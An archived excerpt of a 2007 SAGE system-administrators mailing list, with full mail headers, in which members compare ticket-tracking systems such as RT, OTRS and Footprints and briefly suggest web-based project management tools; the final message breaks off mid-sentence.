X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Fri, Mar 02, 2007 at 01:59:48PM -0500, Cat Okita wrote:
>With all due respect, anybody who says "Ticket tracking is a very easy
>application" has been drinking or smoking something I'd like a cut of.

Neither.  I am this crazy on my own ;).  I would argue that ticketing
systems are like Office.  You only need 10% of the application to do 90%
of your work.  Do some companies have a long list of exotic features
they see as a requirement?  Certainly there are exceptions.  Other
features you mention (HA, redundancy and backups) have little to do with
the application.  That is all controlled by outside objects (load
balancers, clustering applications, backup software, suitable hardware).

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime 3 days
http://watson-wilson.ca


From sage-members-owner@usenix.org Fri Mar  2 12:33:49 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22KXmIE015367
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 12:33:49 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22KXmp4015366
	for sage-members-0utGoign; Fri, 2 Mar 2007 12:33:48 -0800 (PST)
Received: from iguana.igtc.com (iguana.igtc.com [66.139.77.15])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22KXJqu015348
	for <sage-members@sage.org>; Fri, 2 Mar 2007 12:33:29 -0800 (PST)
Received: by iguana.igtc.com (Postfix, from userid 504)
	id 91CD218145E; Fri,  2 Mar 2007 14:06:11 -0600 (CST)
X-Spam-Checker-Version: SpamAssassin 3.1.8 (2007-02-13) on iguana.igtc.com
X-Spam-Level: 
X-Spam-Status: No, score=0.1 required=10.0 tests=AWL autolearn=ham
	version=3.1.8
Received: from igloo.igtc.com (igloo.igtc.com [66.166.73.178])
	by iguana.igtc.com (Postfix) with ESMTP id 22E7718145C;
	Fri,  2 Mar 2007 14:06:00 -0600 (CST)
Received: by igloo.igtc.com (Postfix, from userid 501)
	id E691268FD00; Fri,  2 Mar 2007 12:05:58 -0800 (PST)
Date: Fri, 2 Mar 2007 12:05:58 -0800
From: "Paul M. Moriarty" <pmm@igtc.com>
To: Allan Poindexter <dex@network-science.net>
Cc: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
Message-ID: <20070302200558.GL8472@igloo.igtc.com>
References: <82wt1zevjz.fsf@clanspum.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <82wt1zevjz.fsf@clanspum.net>
User-Agent: Mutt/1.5.14 (2007-02-12)
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Allan Poindexter writes:
> I have used both "req" (Remy Evard's system out of NEU) and "wreq".
> To my knowledge neither of these systems have had active support  in
> years.  I am about to install a system at a new site.  Does anyone
> want to recommend a system they have used?
> 

Ah, ticketing systems.  People will go on and on about why they
like one versus another, but what works for Joe may suck for Mary
and vice versa.  May I suggest that before you start down the path
of determining which one is "best", that you do 2 things:

- Make a list of all features and functionality that you must have.
  Now, cut that list in 1/2.  Why?  Because this forces you to
  really think about "must have" versus "nice to have".  It will
  also result in giving you more solutions to look at.

- Document your current business process for ticketing in writing.
  If you don't have a process for ticketing before you run off to
  automate it, you will greatly increase the chances that what you
  deliver won't match what you thought you wanted.


OK, once you've done both of these and have drawn up a list of apps
to evaluate, pay critical attention to one thing:  Administrative
Overhead.  I define that as the amount of time an admin/tech spends
working with the ticketing system versus working on a ticket.  Some
apps, especially those with more of a CRM bent can have administrative
overhead figures as great as 15%.  Administrative overhead also
applies to for the amount of time required to create a ticket.  If
it's a pain in the keister to open a ticket, your customers never
will.  Instead, they'll call, email, drop by, etc...

Good luck with your evaluation!

- Paul -


From sage-members-owner@usenix.org Fri Mar  2 13:00:11 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22L0BpJ016215
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 13:00:11 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22L0A44016214
	for sage-members-0utGoign; Fri, 2 Mar 2007 13:00:10 -0800 (PST)
Received: from smtp.swarpa.net (melfpelt.swarpa.net [70.84.200.162])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22Kxlgx016203
	for <sage-members@sage.org>; Fri, 2 Mar 2007 12:59:57 -0800 (PST)
Received: by smtp.swarpa.net (Postfix, from userid 500)
	id B51F0124E9D; Fri,  2 Mar 2007 15:59:46 -0500 (EST)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <17896.36928.353794.65852@melfpelt.swarpa.net>
Date: Fri, 2 Mar 2007 15:59:44 -0500
To: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
In-Reply-To: <20070302200558.GL8472@igloo.igtc.com>
References: <82wt1zevjz.fsf@clanspum.net>
	<20070302200558.GL8472@igloo.igtc.com>
X-Mailer: VM 7.17 under 21.4 (patch 15) "Security Through Obscurity" XEmacs
	Lucid
From: Josh Smith <irilyth@infersys.com>
X-Attribution: JBS
Organization: Evil Geniuses For A Better Tomorrow
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

As Paul and Jennifer suggested, the answer may vary depending on what you
want to do, so figuring out what you want to do is an important first step.

Beyond that, though, a solution that you can customize seems to me like a
big advantage, because (a) any out-of-the-box system is unlikely to do
exactly what you want; (b) even if you think now that a particular
out-of-the-box system will do exactly what you want, you're likely to
revise your sense of what you want over time (either because you discover
that your predictions of what you want were wrong, or because your needs
change, or whatever).

The corollary to that is that you should go into the process expecting to
have to do some customization, and not expecting that everythign will Just
Magically Work out of the box. At places I've seen with failed attempts to
deploy ticket-tracking system, the reason was that people expected it to
Just Work and were frustrated when it didn't (and weren't prepared to
spend the time/effort/money/whatever customizing it).

                                      -Josh (irilyth@infersys.com)


From sage-members-owner@usenix.org Fri Mar  2 14:48:51 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22Mmgoa019025
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 14:48:47 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22Mmgk1019024
	for sage-members-0utGoign; Fri, 2 Mar 2007 14:48:42 -0800 (PST)
Received: from mirni.NebrWesleyan.edu (mirni.NebrWesleyan.edu [192.94.109.42])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22MmFjI019005
	for <sage-members@sage.org>; Fri, 2 Mar 2007 14:48:26 -0800 (PST)
Received: from mirni.NebrWesleyan.edu (localhost.localdomain [127.0.0.1])
	by mirni.NebrWesleyan.edu (Postfix) with ESMTP id C0C456B4050;
	Fri,  2 Mar 2007 16:48:05 -0600 (CST)
Received: from zaphod.NebrWesleyan.edu (zaphod.NebrWesleyan.edu [10.9.2.11])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mirni.NebrWesleyan.edu (Postfix) with ESMTP id 7E8736B404E;
	Fri,  2 Mar 2007 16:48:05 -0600 (CST)
Date: Fri, 2 Mar 2007 16:48:04 -0600 (CST)
From: "Chris St. Pierre" <stpierre@NebrWesleyan.edu>
To: "Paul M. Moriarty" <pmm@igtc.com>
cc: Allan Poindexter <dex@network-science.net>, sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
In-Reply-To: <20070302200558.GL8472@igloo.igtc.com>
Message-ID: <Pine.LNX.4.64.0703021644220.19072@zaphod.NebrWesleyan.edu>
References: <82wt1zevjz.fsf@clanspum.net>
	<20070302200558.GL8472@igloo.igtc.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Virus-Scanned: ClamAV using ClamSMTP
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Fri, 2 Mar 2007, Paul M. Moriarty wrote:

> Ah, ticketing systems.  People will go on and on about why they
> like one versus another, but what works for Joe may suck for Mary
> and vice versa.  May I suggest that before you start down the path
> of determining which one is "best", that you do 2 things:
>
> - Make a list of all features and functionality that you must have.
>  Now, cut that list in 1/2.  Why?  Because this forces you to
>  really think about "must have" versus "nice to have".  It will
>  also result in giving you more solutions to look at.
>
> - Document your current business process for ticketing in writing.
>  If you don't have a process for ticketing before you run off to
>  automate it, you will greatly increase the chances that what you
>  deliver won't match what you thought you wanted.
>
>
> OK, once you've done both of these and have drawn up a list of apps
> to evaluate, pay critical attention to one thing:  Administrative
> Overhead.  I define that as the amount of time an admin/tech spends
> working with the ticketing system versus working on a ticket.  Some
> apps, especially those with more of a CRM bent can have administrative
> overhead figures as great as 15%.  Administrative overhead also
> applies to for the amount of time required to create a ticket.  If
> it's a pain in the keister to open a ticket, your customers never
> will.  Instead, they'll call, email, drop by, etc...

I dearly wish I had had this advice when we chose our ticketing
system.  We wanted something very friendly, and didn't feel that the
open-source offerings were friendly enough for our client base.  We
ended up going with a system called "Footprints" that is as slow as it
is cumbersome, and it's as cumbersome as a morbidly obese,
three-legged hippo.  It's friendly alright, but our users hate
entering tickets (and so do we) because it takes so effing long.  It's
also a giant PITA to administer.  (Example: to convert a "client"
account into an "agent" account, it's necessary to 1) delete the
account from the system, which must be done partially through the web
console and partially by editing two different files by hand; and 2)
add the account again.)

That said, it's still a helluva improvement over no ticketing system
at all, which is what we had before.

Chris St. Pierre
Unix Systems Administrator
Nebraska Wesleyan University
----------------------------
Never send mail to thobrux@nebrwesleyan.edu



From sage-members-owner@usenix.org Fri Mar  2 15:14:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22NENUH019940
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 15:14:23 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22NENq1019939
	for sage-members-0utGoign; Fri, 2 Mar 2007 15:14:23 -0800 (PST)
Received: from smtp105.sbc.mail.re2.yahoo.com (smtp105.sbc.mail.re2.yahoo.com
	[68.142.229.100])
	by usenix.org (8.13.6/8.13.6) with SMTP id l22NDlnA019913
	for <sage-members@sage.org>; Fri, 2 Mar 2007 15:13:57 -0800 (PST)
Received: (qmail 8736 invoked from network); 2 Mar 2007 23:13:38 -0000
Received: from unknown (HELO ?172.16.0.85?)
	(skrivis@sbcglobal.net@70.229.208.204 with plain)
	by smtp105.sbc.mail.re2.yahoo.com with SMTP; 2 Mar 2007 23:13:38 -0000
X-YMail-OSG: HUoTnAUVM1kVssr4QgRlsNylIIpg8QzE8OfuEt87uM37q3KDwZh9uZQKYCRgGaeEFOoT_f5q7dOp64ysADFeEhncywEaZoslcaZxZOzdUivspxih9XsIMhaR4GOjTr6lyhbbpPKWxDlO8_8-
Mime-Version: 1.0 (Apple Message framework v752.2)
In-Reply-To: <82wt1zevjz.fsf@clanspum.net>
References: <82wt1zevjz.fsf@clanspum.net>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <612D87F0-F28C-459D-8AE6-7CBA12B80393@krivis.com>
Content-Transfer-Encoding: 7bit
From: Stuart Krivis <stuart@krivis.com>
Subject: Re: [SAGE] work ticket systems
Date: Fri, 2 Mar 2007 18:14:23 -0500
To: sage-members@sage.org
X-Mailer: Apple Mail (2.752.2)
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Mar 2, 2007, at 6:25 AM, Allan Poindexter wrote:

> I have used both "req" (Remy Evard's system out of NEU) and "wreq".
> To my knowledge neither of these systems have had active support  in
> years.  I am about to install a system at a new site.  Does anyone
> want to recommend a system they have used?


I just wanted to add a recommendation for RT. It's an excellent  
software package and Jesse offers great support for it and the  
community.

I used RT 2.x extensively at an old job and later did an install of  
RT 3.x for a client.

It's quite flexible and has a ton of features. I like the fact that  
it's basically e-mail based too.

Someone mentioned that unlike prior versions it has no CLI interface.  
There's actually one in the works.

 From http://www.bestpractical.com/rt/features.html

"A powerful new command-line interface that allows power users to  
quickly and easily work with RT, even if they're out of the office is  
currently available for testing by the public."

RT can be a bit of a pain to install, but I feel it's worth the hassle.









From sage-members-owner@usenix.org Fri Mar  2 15:34:08 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22NY7S7020734
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 15:34:07 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l22NY7fl020732
	for sage-members-0utGoign; Fri, 2 Mar 2007 15:34:07 -0800 (PST)
Received: from will.to (stat-153-124-108.myactv.net [24.153.124.108])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l22NXdIf020711
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@sage.org>; Fri, 2 Mar 2007 15:33:50 -0800 (PST)
Received: from [149.77.33.118] (pants.nyc.deshaw.com [149.77.33.118])
	(authenticated bits=0)
	by will.to (8.13.4/8.13.4/Debian-3sarge3) with ESMTP id l22NXQvH009313
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Fri, 2 Mar 2007 18:33:27 -0500
Message-ID: <45E8B446.80003@will.to>
Date: Fri, 02 Mar 2007 18:33:26 -0500
From: Doug Hughes <doug@will.to>
User-Agent: Thunderbird 1.5.0.10 (Windows/20070221)
MIME-Version: 1.0
To: Stuart Krivis <stuart@krivis.com>
CC: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
References: <82wt1zevjz.fsf@clanspum.net>
	<612D87F0-F28C-459D-8AE6-7CBA12B80393@krivis.com>
In-Reply-To: <612D87F0-F28C-459D-8AE6-7CBA12B80393@krivis.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Greylist: Sender succeeded SMTP AUTH authentication, not delayed by
	milter-greylist-3.0rc3 (will.to [24.153.124.108]);
	Fri, 02 Mar 2007 18:33:27 -0500 (EST)
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


>
>
> RT can be a bit of a pain to install, but I feel it's worth the hassle.
>
Largely dependent upon OS. Same make it trivial (e.g. Debian/Ubuntu). YMMV.


if you have to build it, and all the perl modules and all the 
dependencies and mysql, etc from source, you're in for a bit of a slog.




From sage-members-owner@usenix.org Fri Mar  2 22:31:35 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l236VRMq000934
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 2 Mar 2007 22:31:32 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l236VQi2000933
	for sage-members-0utGoign; Fri, 2 Mar 2007 22:31:26 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l236VG1c000924
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Fri, 2 Mar 2007 22:31:22 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l236VGJ9000923
	for sage-members@usenix.org; Fri, 2 Mar 2007 22:31:16 -0800 (PST)
Received: from anarcat.ath.cx (H144.C72.B0.tor.eicat.ca [72.0.72.144])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2349S3q028646
	for <sage-members@sage.org>; Fri, 2 Mar 2007 20:09:48 -0800 (PST)
Received: by anarcat.ath.cx (Postfix, from userid 1000)
	id 610712126B; Fri,  2 Mar 2007 23:09:08 -0500 (EST)
Date: Fri, 2 Mar 2007 23:09:08 -0500
From: The Anarcat <anarcat@anarcat.ath.cx>
To: Bryan Fullerton <bryanf@samurai.com>
Cc: sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
Message-ID: <20070303040908.GA27811@anarcat.ath.cx>
References: <82wt1zevjz.fsf@clanspum.net>
	<17896.26480.593629.626841@jfsnew.stoffel.org>
	<45E87008.2030607@samurai.com>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="azLHFNyN32YCQGCU"
Content-Disposition: inline
In-Reply-To: <45E87008.2030607@samurai.com>
User-Agent: Mutt/1.5.9i
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


--azLHFNyN32YCQGCU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, Mar 02, 2007 at 01:42:16PM -0500, Bryan Fullerton wrote:
> John Stoffel wrote:
> >Another really interesting product is OTRS, which is from Germany.
> >Looks good.
>=20
> I've used OTRS since 2002 for my small hosting company. I like it enough=
=20
> that I haven't looked for alternatives in 5 years, and contribute back=20
> as much time to the project as I can.

If no one would have mentionned OTRS, I would have, but since you guys
did, let me mention here that we ditched OTRS in favour of RT recently.
Never been happier. OTRS was quite problematic with french charsets
(which we use extensively) and I had trouble getting it to work properly
with email, something RT does marvelously, with GPG authentification if
you want.

> >Using a web browser just slows things down, esp for people who use the
> >tool day in and day out.  You need to optimize for both the new user,
> >but also for the power user, since inefficiencies in interface add up
> >much more quickly for the power user who works with a tool all the
> >time.
>=20
> Perhaps they assume that a power user could (would want to?) write their=
=20
> own scripts, given the examples provided with the system.

One of the things that makes me love RT is the email integration: with
it, I can manipulate most ticket through a few mail commands, without
ever having to fire up a web browser.

It's very useful when you want to "brain dump" issues in the tracker, as
is often the case when you inherit crappy architecture or find a bunch
of problems together...

All that said, I still think OTRS is a pretty good product, but it's not
as solid, mature and widespread as RT.

(One neat thing we were able to do easily with OTRS was integration with
our pgsql customer database, which I haven't had time to figure out in
RT.)

A.

--azLHFNyN32YCQGCU
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFF6PTkWGBzs0AjcC8RAu32AJ9wk86w2+iFMXEi2xIysdyy3gRecgCbB1ll
HmvfKn4KnrSrmmIyUIF7W88=
=xgM6
-----END PGP SIGNATURE-----

--azLHFNyN32YCQGCU--


From sage-members-owner@usenix.org Sat Mar  3 07:09:08 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l23F98Xl010595
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 3 Mar 2007 07:09:08 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l23F9712010594
	for sage-members-0utGoign; Sat, 3 Mar 2007 07:09:08 -0800 (PST)
Received: from relay00.pair.com (relay00.pair.com [209.68.5.9])
	by usenix.org (8.13.6/8.13.6) with SMTP id l23F906v010584
	for <sage-members@sage.org>; Sat, 3 Mar 2007 07:09:05 -0800 (PST)
Received: (qmail 83010 invoked by uid 0); 3 Mar 2007 15:02:19 -0000
Received: from 67.85.183.207 (HELO iapetus.local) (67.85.183.207)
	by relay00.pair.com with SMTP; 3 Mar 2007 15:02:19 -0000
X-pair-Authenticated: 67.85.183.207
Message-ID: <45E98E08.3010702@negate.org>
Date: Sat, 03 Mar 2007 10:02:32 -0500
From: Jonathan Billings <billings@negate.org>
User-Agent: Thunderbird 2.0b2 (Macintosh/20070116)
MIME-Version: 1.0
To: sage-members@sage.org
Subject: [SAGE] Web-based project management
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1 rep=18%
Sender: owner-sage-members@usenix.org
Precedence: bulk

The recent thread about ticketing systems reminded me that I've been 
looking for a good, open source project management system, web-based 
preferably.  I've been looking at some Joomla modules, and next on my 
list is phpprojekt.

What would people suggest?
-- 
Jonathan Billings <billings@negate.org>


From sage-members-owner@usenix.org Sat Mar  3 07:58:12 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l23Fw1QB011490
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 3 Mar 2007 07:58:07 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l23Fw1S5011489
	for sage-members-0utGoign; Sat, 3 Mar 2007 07:58:01 -0800 (PST)
Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.243])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l23FvONl011478
	for <sage-members@sage.org>; Sat, 3 Mar 2007 07:57:34 -0800 (PST)
Received: by an-out-0708.google.com with SMTP id d23so937678and
	for <sage-members@sage.org>; Sat, 03 Mar 2007 07:57:23 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=T447aX4BfLnaBdm7qT049ro/OPibKm8y1VsdCJttRqXbE/efry3tD69E7UafT2rNsEdll8PIXKw77OMm9aQgYvY+GODrk62wks3j1kG5VPqQtoZHzZWs9P80yTC8Y7Uo0L7CU0YU5Qb4nIjRE2rhm5JyY7z6uWqjXGWO97ZmwEc=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=ggDblP4nsncB/p7WrQLyY79wPSW0gCrZ71se6OHpy4RSp8vszA0EPf8WuHTwbD8DF1IoYeS6KYmgc47MZ3EJVQcGTxb2XEIOHv8aM/78mTXfPYfi0w/Pjp5RvoDjSm123hP7wrcOi5BPPdXeAtgU+OhWs1NPQixREE9Z6rWGFe0=
Received: by 10.100.178.7 with SMTP id a7mr1181993anf.1172937443760;
	Sat, 03 Mar 2007 07:57:23 -0800 (PST)
Received: by 10.100.13.1 with HTTP; Sat, 3 Mar 2007 07:57:23 -0800 (PST)
Message-ID: <fc6bb850703030757j1032dee0x67219c2d9b1997a8@mail.gmail.com>
Date: Sat, 3 Mar 2007 09:57:23 -0600
From: "Nathan Hruby" <nhruby@uga.edu>
To: "Jonathan Billings" <billings@negate.org>
Subject: Re: [SAGE] Web-based project management
Cc: sage-members@sage.org
In-Reply-To: <45E98E08.3010702@negate.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <45E98E08.3010702@negate.org>
X-Google-Sender-Auth: 6c14ed12049a6ea7
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 3/3/07, Jonathan Billings <billings@negate.org> wrote:
> The recent thread about ticketing systems reminded me that I've been
> looking for a good, open source project management system, web-based
> preferably.  I've been looking at some Joomla modules, and next on my
> list is phpprojekt.
>
> What would people suggest?

Honestly?  37Signals' Basecamp (http://basecamphq.com/).  It's cheap and easy.

-n
-- 
-------------------------------------------
nathan hruby <nhruby@gmail.com>
metaphysically wrinkle-free
-------------------------------------------


From sage-members-owner@usenix.org Sat Mar  3 08:20:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l23GKL9u012102
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 3 Mar 2007 08:20:22 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l23GKLKl012101
	for sage-members-0utGoign; Sat, 3 Mar 2007 08:20:21 -0800 (PST)
Received: from relay00.pair.com (relay00.pair.com [209.68.5.9])
	by usenix.org (8.13.6/8.13.6) with SMTP id l23GJiau012086
	for <sage-members@sage.org>; Sat, 3 Mar 2007 08:19:54 -0800 (PST)
Received: (qmail 93135 invoked by uid 0); 3 Mar 2007 16:19:43 -0000
Received: from 66.119.212.42 (HELO ?66.119.212.42?) (66.119.212.42)
	by relay00.pair.com with SMTP; 3 Mar 2007 16:19:43 -0000
X-pair-Authenticated: 66.119.212.42
Message-ID: <45E9A098.9000409@deaddrop.org>
Date: Sat, 03 Mar 2007 08:21:44 -0800
From: Etaoin Shrdlu <shrdlu@deaddrop.org>
Organization: dig @localhost TXT CHAOS version.bind
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.7.11) Gecko/20050728
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: sage-members@sage.org
Subject: Re: [SAGE] Web-based project management
References: <45E98E08.3010702@negate.org>
In-Reply-To: <45E98E08.3010702@negate.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1 rep=18%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Jonathan Billings wrote:

> The recent thread about ticketing systems reminded me that I've been 
> looking for a good, open source project management system, web-based 
> preferably.  I've been looking at some Joomla modules, and next on my 
> list is phpprojekt.
>
> What would people suggest?


I have absolute no experience with the following, other than a brief 
look, but you still might want to check it out. It was one of a list of 
business applications that I gathered during a recent community event, 
and I thought well enough of it at the time to include it.

http://freshmeat.net/projects/egroupware/
It's very good at scheduling, does a whole lot more and looks quite nice.

This was from last August, and I barely remember it, but I wouldn't have 
included it if it hadn't had something going for it.

-- 
Any commercial institution that is serious about protecting their
customers from phishing will stop sending mail marked up with HTML.



From sage-members-owner@usenix.org Sat Mar  3 11:47:42 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l23JlX2Z015039
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 3 Mar 2007 11:47:39 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l23JlXxH015038
	for sage-members-0utGoign; Sat, 3 Mar 2007 11:47:33 -0800 (PST)
Received: from chat2.adphila.org (chat2.adphila.org [64.9.9.80])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l23Jl6kI015027
	for <sage-members@sage.org>; Sat, 3 Mar 2007 11:47:16 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by chat2.adphila.org (Postfix) with ESMTP id CB76D94B74
	for <sage-members@sage.org>; Sat,  3 Mar 2007 14:21:01 -0500 (EST)
Received: from chat2.adphila.org ([127.0.0.1])
	by localhost (chat2.adphila.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id p1CI1P1Hm80N for <sage-members@sage.org>;
	Sat,  3 Mar 2007 14:21:01 -0500 (EST)
Received: from gw1.adphila.org (mail.adphila.org [172.19.2.123])
	by chat2.adphila.org (Postfix) with ESMTP id 605D694B79
	for <sage-members@sage.org>; Sat,  3 Mar 2007 14:20:41 -0500 (EST)
Received: from AOC-MTA by gw1.adphila.org
	with Novell_GroupWise; Sat, 03 Mar 2007 14:27:23 -0500
Message-Id: <s5e985cb.023@gw1.adphila.org>
X-Mailer: Novell GroupWise Internet Agent 6.5.6 
Date: Sat, 03 Mar 2007 14:27:16 -0500
From: "John  BORIS" <jboris@adphila.org>
To: <anarcat@anarcat.ath.cx>, <bryanf@samurai.com>
Cc: <sage-members@sage.org>
Subject: Re: [SAGE] work ticket systems
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-DCC-Usenix-Metrics: voyager 1010; Body=0 Fuz1=0 Fuz2=0
Sender: owner-sage-members@usenix.org
Precedence: bulk

I have been using RT for a while and the only drawback for me was the DB
requirements for MySQL. I wanted to run it on one of my servers (Running
Fedora Core 3) but the MySQl and all the upgrades broke the application
on that server. 
I like the email integration and the add ons like RTFM and AT (Asset
Tracker). It fills a need for me as a one main Sysadmin shop. 

When I did my search I was looking for a replacement for Keystone and
finding a Open Source product that had some other documentation than
online stuff. I found RT when I read Time Management for System
Administrators.  If I could program in Perl I would be able to do more
